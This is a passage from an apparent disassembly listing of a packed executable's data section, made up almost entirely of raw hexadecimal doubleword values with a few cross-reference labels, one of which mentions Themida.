2BFD5BEAh, 81508C15h, 0E7930098h dd 0FBABAE4Ah, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEEB7h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C40893Ch dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A45ECFC3h dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h dd 0D3BE290Bh, 29439171h, 57DFA024h, 5E004D19h, 2A54A851h dd 0CFD77553h, 0A152BC70h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h dd 0A0D9F9FAh, 0A45ECFC3h, 9A0D79AEh, 1A232094h, 81328C65h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 229D00B9h, 0E1D4A7B2h, 8860085h, 6F8222DCh, 73BA8C0Eh dd 0A7FEF8E1h, 0B9005C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 87D77515h, 2652BC7Dh dd 28C82045h, 2C4FED87h, 2BF55BEAh, 86949BFBh, 622E8531h dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h dd 0D5FE0451h, 0B664E787h, 868C2357h, 2FEF4917h, 31117EDBh dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh dd 0A2457650h, 80F8A851h, 832818EAh, 0E2DFAE45h, 88558B9h dd 6F8232DCh, 71BA8C0Eh, 0E3941037h, 63CF2173h, 262983FBh dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152BC70h dd 637726DDh, 0FCCE25FBh, 5D439150h, 0AAECCE82h, 28EEECE4h dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h dd 0B0D90337h, 0A45ECFC3h, 92327BAEh, 9234B95h, 1FE04FDh dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h dd 0B9005C8Fh, 9A875757h, 0E0320A0h, 0FCCE25FBh, 5D439150h dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0D5CE2559h, 0F1439177h dd 498232DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C4FCB5Eh, 74DF0746h, 0D552B332h, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h dd 0A45EE9C3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 497332DCh, 2F168C0Eh, 31377ECBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 24E9h, 4272AA00h dd 15h, 7 dup(0) dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h dd 0CA190048h, 468FE62Eh, 7EC65E1Bh, 0EB9726B1h, 585E6493h dd 57E6CE29h, 0A5EB97BFh, 5806CEC3h, 0F5EEACCEh, 0F8D90670h dd 2F8Eh, 4A17A500h, 0F6002F8Ch, 8A90D888h, 57E50A8Fh dd 804D95BDh, 0CC366556h, 60AA486h, 0CD9AF58h, 6FC1F0C9h dd 0CEADB8D3h, 751F8D9h, 68000000h, 87B11h, 0C4126800h dd 1AE7AFF7h, 0FF5703B8h, 0F1E79379h, 507FA751h, 0BEFDD9E6h dd 0BF22906Ch, 0DAE16B00h, 86CE66F4h, 0E60CED80h, 0C202D957h dd 0B7091FBCh, 0BCE46897h, 55E8CA10h, 0D1F35807h, 7F4B1AB1h dd 2AB3F8D8h, 0CA000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h dd 260C12DAh, 3A580603h, 0BD9FE312h, 0C8580602h, 76EFE4A6h dd 88F8D9D6h, 0C8h, 47C4129Fh, 0F1E85B41h, 46926F51h, 9D49E179h dd 0C0C64790h, 51F1E7DAh, 822EC6EEh, 125A6175h, 822E8D45h dd 8491FB2Ah, 1176952h, 51F1ED3Fh, 17695284h, 686A9C3Ah dd 30FBB53h, 0D9A1E995h, 3B41CA0Ch, 51F1ED55h, 0FDA94169h dd 0F73276A5h, 0A557E506h, 0E14F2B7Dh, 0A928F53Dh, 0AC0FC310h dd 4571777Dh, 0D55DFADEh, 0E18E65ADh, 2EA64206h, 5CDD302h dd 0F7616A2Eh, 3B6A014Ah, 0C416A730h, 0EFCDF0E7h, 38957DE4h dd 68BFCDB7h, 0CE00000Ah, 825FB10Eh, 3D1A6C51h, 0F7D42695h dd 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h, 56696F4Ch dd 0CAF2704h, 2026AEBAh, 580D523Ah, 12EC534Eh, 0C9A6F8C5h dd 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch dd 0E7A3C558h, 0D9D679ECh, 0C285F8h, 129C0000h, 434BF7C4h dd 0E78F757Bh, 7BA351F1h, 0E817A42Eh, 0D13FADDh, 51F1E827h dd 0A4C0543Bh, 57C249A1h, 737B27BFh, 0E28E2BA6h, 55175B8Ah dd 9A51F20Eh, 502D7F3Ch, 20ED3586h, 70DA09B2h, 24AF664h dd 666CA335h, 51F20E80h, 0A5D46C94h, 275E999Fh, 250C57E5h dd 0A22F70CCh, 0BC136B17h, 0A1392DF9h, 5905734Fh, 557C4911h dd 3160B864h, 0FAC8D2EDh, 0D018405Dh, 97E9D403h, 0C2A01DBAh dd 38959A1Bh, 889CAA94h, 0AE000009h, 623F912Eh, 1DFA4C71h dd 0D7B406B5h, 8C69BBFEh, 0E720724Bh, 0C5F8DFD1h, 7E3B9673h dd 36894F2Ch, 0ECCF07E4h, 68E9Ah, 580D531Ah, 12CC332Eh dd 0C9A6F8C5h, 0A35CAE0Dh, 0AFF7C412h, 0E7FBE1E7h, 370F51F1h dd 0F1E84B31h, 9F375F51h, 0E86B5157h, 577F51F1h, 25B1BE28h dd 60774E96h, 0D63C8152h, 2F4D5D8Ch, 23CB39C8h, 128AD5DBh dd 305857E5h, 0E2A2798Fh, 0E3E53F4Fh, 7C80C3Bh, 4F01C87Bh dd 98465F78h, 0FA299489h, 96DE82F0h, 0BE76DD90h, 0B7638B07h dd 49913DABh, 0D3F77643h, 0D820480Dh, 0C6F5C80Bh, 23E3F3C0h dd 1E7008B3h, 48269541h, 88BB4C9Fh, 0CC2C3A24h, 6A000008h dd 1EFB4D72h, 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh dd 813C9B15h, 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h dd 580D53D6h, 1788EFEAh, 1308D4Ah, 93DBE0F6h, 0A0B69BCh dd 71A0E700h, 0E18DFB07h, 6B1C9399h, 2A5257E6h, 884D1AE2h dd 0E1F70231h, 29AF8CDEh, 0BEA4EA96h, 12580669h, 58059A30h dd 509848B6h, 0C16D5083h, 2E343A69h, 5DF99F43h, 757D2951h dd 0DAC4739Eh, 0BC14C0FDh, 0EAB30665h, 1A59FEE4h, 52EA125Eh dd 0FDBE1823h, 97E9D21Fh, 0D1B0538h, 82Fh, 98EAD507h, 53A518BBh dd 0D5F5C76h, 0C214A530h, 79CBF2E5h, 9F387840h, 0E2EFCC1Eh dd 30A885D7h, 76603D8Fh, 5FE7F345h, 0D547359h, 258C8758h dd 0B1F9A513h, 0E50CC0ABh, 0FAA6CE57h, 85D7E6EDh, 0C4F5E0ADh dd 2CEBB56Dh, 2FAE8Fh, 33DFDEF5h, 0C70FBF27h, 66493C1h dd 0B7FF2758h, 27D3E8EAh, 0E136A0CFh, 0EAE9033Fh, 0A5B48BD3h dd 0E16F46C6h, 6E8494C3h, 5806268Ch, 0B2FAAA12h, 62592ACh dd 8ED6FE58h, 25DAC0C6h, 0C6EE5806h, 0E7AF8797h, 625FBE1h dd 9AE70F58h, 7BD37F3Ch, 2B92414Ch, 0A9AF777Fh, 580625C3h dd 0E3D8FAD7h, 1847DF37h, 626EAD4h, 0A0686F58h, 81D98536h dd 0A2303DE9h, 93F76D19h, 239A3DF7h, 0F2871F77h, 0D9FA3250h dd 1EB592E4h, 39D1EEEAh, 2715478Dh, 50F25806h, 0E4D9FA32h dd 0CA07D49Ch, 65EB43EFh, 5806287Fh, 2C3C6B93h, 5583E850h dd 0C28AD26Ah, 1AE63BEBh, 0CFFE8CE2h, 64AA88Bh, 0E28EB658h dd 260C12DAh, 3A58064Bh, 0AF47765Dh, 0AEE13C80h, 0ACCE2A24h dd 0C6935BEEh, 3F25AB10h, 53CC67B0h, 0D590FC2Bh, 29847825h dd 180h, 0F9A51340h, 0C50ABB1h, 573E57E5h, 95A5D6CCh, 4B932B5Ah dd 1163587Eh, 6369A234h, 58068E7Dh, 25D16991h, 4B589BDFh dd 96637BDFh, 76CE7A3Fh, 9F55F547h, 55328437h, 828E3A81h dd 3B186A1Ah, 0D71F9Ah, 21B2445Fh, 4198F09Ch, 2C5B5FCDh dd 0CE3BAC2h, 0C03DDDECh, 4D8994C3h, 77441C6Eh, 5BB35F5Ah dd 4AF6C30Eh, 1EB8C3F2h, 1CE9F19Dh, 92D605B6h, 0AFD5DCDEh dd 0E4183A9Eh, 2D1319F2h, 4151D7BCh, 522F8119h, 7F8B3784h dd 0EB20B217h, 0D7BBFFE5h, 53EB1351h, 876D73BBh, 9B51D7BCh dd 0F8A419BEh, 0D9B608A0h, 0F0CD0AFEh, 38A0AC58h, 0FFFE62C9h dd 9F37CA69h, 6F4C8A57h, 0FF26ACC3h, 11B6B307h, 3E444A79h dd 51D75544h, 19F64870h, 4552FEBDh, 2A7F2B92h, 0A432CA88h dd 557B6167h, 0B28F51D7h, 97EF9B20h, 381567FFh, 0B785E9Eh dd 91DB3749h, 31E3B03Ah, 0B74F60D1h, 0E797FF0Bh, 669B999Fh dd 0A7CF51D7h, 0A85E7855h, 48F48C2Dh, 76229D3Bh, 0A34F6E69h dd 0CE7A3F96h, 1594B69Ah, 45FF9BBFh, 15E22A91h, 0BECEFDBCh dd 1AC6F5E1h, 0AEF6A60Eh, 0D766B6A8h, 68BAE251h, 0C6724D8Bh dd 88D8E7BEh, 4289E6B9h, 3CA10913h, 0FED72495h, 0EDB23BBh dd 0C3C9F8C5h, 16A32EFBh, 9FE3126Ah, 51D74EA9h, 0A78D935Bh dd 0BB51D74Eh, 0B8E06493h, 9F079970h, 28D4E5ECh, 4DC79D0h dd 0E49DADDCh, 9542C412h, 0D7247C28h, 0BC14C0FBh, 88F6D224h dd 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E6D3FECBh, 0E89073B7h dd 769E57E5h, 989E662Eh, 5805E8B2h, 7A26993Fh, 5345C22h dd 8FE1DEFAh, 519926B2h, 0C26E4F84h, 19920B5h, 0EE5C68D2h dd 7DF4FA42h, 0B35DF9EAh, 6076438Bh, 0F2C70E5Bh, 55BFEE46h dd 191A2D0Fh, 78E0B75Eh, 60A149AEh, 58C6D0FFh, 439360A8h dd 3D434978h, 640DCC52h, 0CDE307DEh, 0FB58AF02h, 6A7048CCh dd 642E9F84h, 90D87098h, 4CD65B9h, 5DAAF01Ah, 0AA14437Ah dd 0A482399Dh, 32844C57h, 0CC9CAA94h, 6A000004h, 1EFB4D72h dd 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h dd 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 580D57D6h dd 1388EFEAh, 0E9B1F9A5h, 3C7D5421h, 0F1E7D0B6h, 8DBCE451h dd 0E51B8A49h, 6C184057h, 5FB4326h, 0AD7A5058h, 0C7F2DF2Bh dd 0ECAE002Fh, 7A43905Dh, 0DA86DF4Bh, 0D778F8D9h dd 8F000000h, 0F1E7C7D9h, 0C5ABB151h, 0D951F1E7h, 754019B1h dd 2C085A61h, 0C1C70FBFh, 51F1E7C3h, 7A3C9E75h, 4CF8C30Fh dd 0D0949DF4h, 7790767Ch, 7CA451F2h, 931B5E4h, 8086505Dh dd 65BD6952h, 19B885CDh, 6D9CF4A0h, 0BE14815Dh, 0F277D2B8h dd 71BEE651h, 55AD5960h, 8F9E75BDh, 46735E5Fh, 0E72D04EFh dd 0CC24D0EBh, 0F9FF0534h, 51F2DBFBh, 6B51572Fh, 0FD51F2DCh dd 0F2DC11F7h, 37FD2551h, 0DC73595Fh, 5F8751F2h, 76832FC7h dd 2D095B60h, 45745DC0h, 75468C99h, 41D971C9h, 452B31F9h dd 0C851F2DCh, 9C1AC379h, 2E561CB7h, 0F1F3F9FFh, 3D51F239h dd 0B24A7360h, 79DEC006h, 791B51F1h, 48B724D9h, 3B6B308Ah dd 0F941D994h, 0F23BF1F3h, 0C3153D51h, 0A3E5h, 0A5133C00h dd 0C0ABB1F9h, 0CE57E50Ch, 0E4EDFAA6h, 3DA783D5h, 49434991h dd 7558060Dh, 7A5BA14Dh, 8358060Dh, 0BBAA2161h, 43F8D9C8h dd 74h, 0FDA9135Ah, 0CCEDE8B5h, 0AB91979Dh, 0BF51F1E7h dd 1ECAEFE2h, 75822EC6h, 48155D5Ch, 0DEE42C8Dh, 51F1E7F8h dd 0A5B5E40Ch, 67AF5FC9h, 0F1E82F61h, 6BB3DB51h, 0E8B79DA3h dd 0A3CB51F1h, 8F3B8056h, 589E0837h, 51F12976h, 0C07111B3h dd 0AE23E3F3h, 6F075F0Bh, 323C6BC3h, 0CAD018C8h, 51F22898h dd 2DDCF5C2h, 0F2294127h, 952D5551h, 0CC05E266h, 4A0355EDh dd 4BF7C412h, 0D123983Eh, 8FD787F5h, 0E538F689h, 0BC15E257h dd 0EEC1153Eh, 0F8900D10h, 41C5F44Ch, 45276D19h, 505806D2h dd 0EE776C2Eh, 10F8D903h, 53h, 209B3B08h, 80666C74h, 945806DAh dd 0BEA5D46Ch, 0B1F9A513h, 9B09F1E4h, 7A3976DCh, 0ACB2E179h dd 0E56BE3A6h, 76622F57h, 6E961A49h, 6B9A7CC2h, 0B81F5806h dd 8B4C5905h, 0E26F8632h, 0DB5F034Dh, 1436D86Dh, 0EEACCE95h dd 0D9B970F5h, 0C38EF8h, 12A50000h, 3E4BF7C4h, 886E7499h dd 9C51F1E8h, 2330DC74h, 4F5C08B3h, 15EC3487h, 3454B79Dh dd 7585B4B2h, 0F25E9D5Fh, 0C7F4E251h, 7D3E9875h, 0F1F2C9D1h dd 0B91AF23Ah, 0DF4D5786h, 0C8605D7Ah, 9A25B380h, 474AA643h dd 6D9C3F04h, 0BBE6167h, 244C57E6h, 0D888F6D2h, 0C3078A90h dd 78555DFBh, 5BB35F60h, 29AE7BC3h, 72654294h, 0A1986D4Bh dd 7D673894h, 1EE6Fh, 2B944800h, 0E6D7FCD9h, 0A01BB794h dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h dd 0A17ED0EFh, 28348635h, 5AB49AA0h, 0CDC8580Dh, 43C51266h dd 647B2792h, 773AB769h, 0C41BB396h, 2A73C792h, 90E27AB4h dword_5BFF5C dd 469823B3h, 0F9A5138Dh, 2E8ABB1h, 8EB657E5h, 2BA9CE2h ; DATA XREF: Themida_:0054B19Co dd 0A3C55806h, 0D679ECE7h, 0BB85F8D9h, 9C000000h, 32874A17h dd 99D72E86h, 37DB5818h, 0B5212C5Bh, 8A4D5A06h, 1D23EB33h dd 51F29037h, 8AF4234Bh, 0F2958244h, 0AC0FC751h, 62597D5Ah dd 0F6E1AEB6h, 208E98C7h, 75512870h, 0B96634E3h, 28D38807h dd 473AD9D1h, 690C1218h, 0F757E62Fh, 33A17DCFh, 193D438Bh dd 0A95DFBE3h, 5510BEC2h, 378F3B82h, 0DF7547E0h, 0E1794692h dd 0B20BCC99h, 69548360h, 9510848Bh, 97A58F38h, 107h, 0C012AD2Fh dd 7BCDF0E3h, 3587349Eh, 0EA3C7D58h, 0A1F3CA0Dh, 77605068h dd 0BA17F446h, 8D0ADFFh, 4E8865B7h, 870F1B6Dh dword_5C0024 dd 0D5B9B81h, 4DB4AF58h, 0A6F8C512h, 66AE0DC9h, 4F7E3D99h ; DATA XREF: ___:004327ECo dd 0C412863Fh, 7B434BF7h, 0F1E78F75h, 5B61C51h, 133B0159h dd 0BEFDD9E4h, 10C7946Ch, 0DEA105EEh, 0DC7434ECh dword_5C005C dd 8935A3ADh, 5D5E7441h, 242A59B1h, 0EA85921Eh, 81896057h ; DATA XREF: ___:off_432940o dd 551860D3h, 0CDF579A8h, 0F9C21421h, 0AF0CCAA7h, 8145BD03h dd 0F2E64B44h, 0C11421CDh, 12364CF8h, 0A019BC70h, 0ACEE5208h dd 0B607D09Dh, 615A7C87h, 17A4320Fh, 4196636Bh, 93424D7Ch dd 0CF257A26h, 9D35CF02h, 82DA861Eh, 0B0410153h, 9DF5DCD9h dd 1C4BAAB5h, 0A4F6C511h, 2AED0FC7h, 0DAC0C6EDh, 0EE6B6669h dd 899A6FC6h, 0B8C6720Ah, 23h, 3C2228F0h, 506B663Fh, 1712F928h dd 0E863494Fh, 4F7751F1h, 8A61E720h, 2BACB041h, 0DE893B92h dd 1211F827h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h dd 151868h, 24248900h, 4BE56h, 74010000h, 515E0424h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 0F368243Ch, 8900002Bh, 5D68241Ch dd 8900006Eh, 31BB241Ch, 4309254Ch, 8105EBC1h, 0E14420E3h dd 7EBC12Dh, 0C381DBF7h, 61BEB09h, 545BDF89h, 81241C8Bh dd 4C4h, 81575100h, 47BB242Ch, 81590CD9h, 0D947BBC1h, 84B890Ch dd 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h dd 835F2434h, 44E904C4h, 8FFFF908h, 174D811Bh, 49B8BF3Eh dd 3061B75h, 0F3E0FFC5h, 8166D5E9h, 0F516F3B3h, 0B737B5E9h dd 3B21204Fh, 7A4652C5h, 0BC70BC70h, 9C7B80DBh, 2A353071h dd 0D64F01A7h, 2030EA1h, 0E8257BF9h, 0EF5E5C17h, 5E72561Eh dd 731094F8h, 0B443FCE0h, 0E8232006h, 12h, 83FCB650h, 44F0FDF4h dd 0F099AD4Ch, 19B938E0h, 0F56090AAh, 0A20318BEh, 0F596175h dd 38Ch, 0C18B6600h, 0D950C181h, 6E90000h, 96000000h, 5EB8BDC7h dd 98B1BBC6h, 0C38137A7h, 0C8589D71h, 66118BF5h, 817A67BEh dd 6A82AEF2h, 3EEA8145h, 0E90C95BDh, 0Bh, 0BA74FB3Bh, 0BE2D0DF6h dd 81FE0244h, 854370EAh, 0D9DF8119h, 896D0748h, 0F0C88111h dd 8172D8E4h, 2B9736E9h, 32C18107h, 0F072B97h, 382h, 0FEB70F00h dd 1EB81h, 850F0000h, 12h, 0E9C2BF0Fh, 2Ch, 99583B8Dh dd 0B437BFF5h, 11E90DBEh, 88000000h, 0F509CA2h, 0ACD17B7Ch dd 4BDDAC07h, 68618B02h, 0FFFF7CE9h, 0B2F0DBFFh, 739B10Dh dd 0FE8h, 0B57AEA00h, 0FB9CBBEAh, 0A35C5CE7h, 76C22E1h dd 1850Fh, 58F50000h, 0A3EDD3BFh, 22C08117h, 68000075h dd 1D16h, 6FC98166h, 0BA665E4Dh, 188B7C6Ah, 7E9h, 0A9F79400h dd 9C793D40h, 0EF12C381h, 0F3814178h, 2488200Fh, 0DE9h dd 3DCCA00h, 41529E27h, 27DB03Dh, 0C381C5BDh, 3503282Eh dd 0A9CBF781h, 66537F0Dh, 8FC88ABAh, 14E900h, 71970000h dd 527555DAh, 4EE7CD66h, 3C17CB31h, 6CFB93D8h, 0E883D10Eh dd 0AE904h, 1CE60000h, 0BEB1F805h, 0C7C806E0h, 0F01EE83h dd 1385h, 0FFC6000h, 0E961C6BFh, 1Fh, 621D7F0Ah, 0AB070137h dd 0E96BF280h, 0FFFFFF72h, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh dd 0E8F73E9Fh, 0Bh, 0AF032449h, 0E0A3CDEAh, 0F0358B5h dd 8B5ADBBFh, 92C281FBh, 66000064h, 0B99EFCBBh, 0 dd 40D78166h, 1134FF3Fh, 0E858FB8Bh, 7, 79CACFE8h, 812EB203h dd 21A1CACBh, 0C0815E7Dh, 33F090CDh, 938EE81h, 0E88160ACh dd 6DB4A525h, 7E9h, 0DF7E0F00h, 0ADC1230Ah, 53DBE881h dd 0A9BB16CBh, 507A071Dh, 0F797BF66h, 0BB0A048Fh, 3F985608h dd 81DA8B66h, 0D134B7E9h, 0B70F602Fh, 0F28B66DEh, 0B3C18161h dd 572FD134h, 0EE9h, 26999B00h, 5BC075B3h, 0A8F78D59h dd 5EA71312h, 9C1CF981h, 850FFFFFh, 0FFFFFF79h, 4134C681h dd 0ECE91366h, 0 dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h dd 77F7E3h, 277E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 6000000h, 2C000000h, 22322E27h, 491611EFh, 88389B69h dd 41DB1566h, 38321566h, 152A04BEh, 0B883A8E5h, 31321372h dd 0C38F966Fh, 1134017Ch, 0DB620C12h, 558AD5EDh, 0AB321562h dd 5285CE3h, 0B2AF9860h, 0BB3403D1h, 0A16A4EB5h, 528F4DBh dd 9F461560h, 558A4636h, 0AB321562h, 5285CE3h, 0A1AF9860h dd 0BB3403D2h, 426A4EB5h, 9C3DCDEDh, 88321565h, 25F9FDE6h dd 39887306h, 9A54469Dh, 0D8534FBFh, 0C51611EDh, 223211A2h dd 9D3D7566h, 88321565h, 0ADF5AA69h, 22321574h, 44B7759Ah dd 51D1F870h, 0B44D9211h, 0EBFF1DB0h, 0ED530464h, 0F09AA8E5h dd 4B32137Dh, 22325EE2h, 0C8B97566h, 0E9C8A269h, 0E7690EBh dd 0A952137Dh, 88B739Eh, 58CD7480h, 4432078Fh, 0ED2FEF66h dd 7EE9AA4Fh, 0A56A4ADCh, 3C487A7Dh, 0AF987B2Ch, 0A7861E3h dd 58CDEC60h, 44321A8Fh, 49EAF66h, 1C387C4Eh, 86E2591Fh dd 7698A6CBh, 386B90A0h, 0E4641372h, 208A470Eh, 0F1CDEDFAh dd 24260FB7h, 0CAB7989Fh, 0E83402E6h, 44349269h, 0AF3D1566h dd 11321566h, 87534F36h, 443212E0h, 23B71A66h, 0E4321566h dd 8FDBC599h, 36321566h, 0A780EDD6h, 94BB6089h, 8E2631CFh dd 44339669h, 0E5CA1566h, 53640E3h, 88321560h, 45B71A66h dd 0DA321566h, 11321A8Fh, 2F1C4C66h, 4CF86916h, 0AD6B6857h dd 5951497Ah, 926B90A0h, 0B1771372h, 505B7C0Eh, 0BBB1AE8h dd 0E8321566h, 4432188Fh, 0A28BF466h, 4B57D672h, 8E98AAD4h dd 0CF3DA6D4h, 22321566h, 5487EA07h, 87340177h, 443213E6h dd 98547566h, 9C535A95h, 9C0906E3h, 0ADB37560h, 48FAD859h dd 11309569h, 0E9521566h, 0BCE2EA07h, 7B390EFh, 0D7CA1372h dd 9C284CE3h, 4ADB5660h, 0FB321566h, 6812641Bh, 736A28BFh dd 0C7202DD5h, 496C7D54h, 0E8CA8901h, 9977A099h, 0C03D1372h dd 2232157Fh, 1132018Fh, 22217266h, 4C447874h, 0CEA4B10Bh dd 378DCB83h, 85BA28EFh, 57B79819h, 2D34015Dh, 113214E7h dd 58CDE966h, 4437FC06h, 3C7A1566h, 0F9088B99h, 88321576h dd 0D13A1BE3h, 8099225h, 0D811877Dh, 50FD536Eh, 0C1BB743Ch dd 24296DF6h, 48B7D39Eh, 0DC34017Ch, 44321E8Fh, 0CA105066h dd 0A5D81169h, 9C09ECC5h, 265A3C0Eh, 2222FC88h, 0E01C1566h dd 1BB5BE9Bh, 666BF37Eh, 2E453D52h, 0A4CD0789h, 8E260423h dd 4420FD06h, 0DC601566h, 0A76F459Ch, 6D1D8E41h, 10157C59h dd 270FE125h, 52E29400h, 5534A47h, 500906E3h, 223DFC60h dd 0DB0B1566h, 0E0A22C5h, 68069360h, 0BA38072Fh, 0E8E2EA6Fh dd 0F0A690EFh, 0CD3D137Dh, 22321577h, 1132198Fh, 45D166h dd 0D3EB5681h, 48230F5Dh, 0F68A7586h, 0E936DEB2h, 5E6B90A0h dd 0DA771372h, 710AD70Eh, 35475BCh, 256845ADh, 3377A099h dd 77521372h, 553D4EDh, 500906E3h, 0F2CDE060h, 89B79C9Eh dd 0E8340E1Eh, 44321C8Fh, 63C85C66h, 8B59473h, 48B29D5Eh dd 0F9B17492h, 242607ABh, 56B71A66h, 87321567h, 443212E9h dd 23BE1A66h, 0E8321566h, 0DF47406h, 42260F3Fh, 2226FC23h dd 28C61566h, 0F33A510Ah, 1B0065BBh, 71E9C626h, 63A2C411h dd 85DB4420h, 8321566h, 424D6227h, 6C1E5D48h, 7EBC98C0h dd 644C930Eh, 2FDB759Ch, 5E321566h, 1F9F7F9Ah, 69814BC9h dd 0C3A10B72h, 0EE53C5D0h, 9C2350D3h, 5CB41A60h, 0CB321566h dd 11321575h, 0FBA72D1Ah, 17E23253h, 0BDF9AC7Ch, 0E97D91FEh dd 507505Dh, 500906E3h, 0AA3D7560h, 11321563h, 703CEDCh dd 87B97339h, 0CBE2EA07h, 1132156Dh, 0AA1A4C5Ah, 8B22B84Bh dd 0ABB0A0E4h, 0A4A89E3h, 0DF4E060h, 42260F3Fh, 0AC3D752Ah dd 11321570h, 8832058Eh, 4C33EB66h, 0B898DEE8h, 9C7C5EDFh dd 34F108C0h, 0C43D4AD1h, 22321566h, 0C1F17D07h, 80DBF540h dd 5C321566h, 2583C690h, 0EE55DAFDh, 9C2350D3h, 45BD1A60h dd 0DE321566h, 2A2190EBh, 74521372h, 544AB00h, 0CBE2EA07h dd 11321576h, 6517B22Fh, 7A448E56h, 9692E1EEh, 106C1887h dd 0F09290EFh, 0C83D137Dh, 2232157Eh, 1132068Fh, 0BB0E3566h dd 7B5FF0B3h, 84D0A8C7h, 0C4746B02h, 43F63E7Ch, 4433228Fh dd 0A7F4E066h, 17260F3Fh, 855AE034h, 0AD8E5F82h, 22321574h dd 4B91AAE7h, 0D563C966h, 6D7D0E2Bh, 103F9859h, 0A4CD977Ch dd 8E26249Bh, 9FB37306h, 0E8B2886Eh, 94BF7468h, 8E262E75h dd 44389569h, 42521566h, 0D4C49407h, 0E9198BCFh, 24E2EA9Eh dd 98F5AC00h, 9853F9ECh, 934A89E3h, 443AFC60h, 0C4B71566h dd 5FBC008Ah, 0DF4D83Ch, 42260F3Fh, 2BDB7534h, 69321566h dd 14550732h, 33E97281h, 52E89400h, 1DB74E0h, 3B321566h dd 8ACA994Eh, 0EACDED35h, 0CE11FDF0h, 0E0287EBFh, 0E27E5F2Eh dd 2232048Fh, 0A19E9966h, 682E4634h, 5F16B4D2h, 2654AEA2h dd 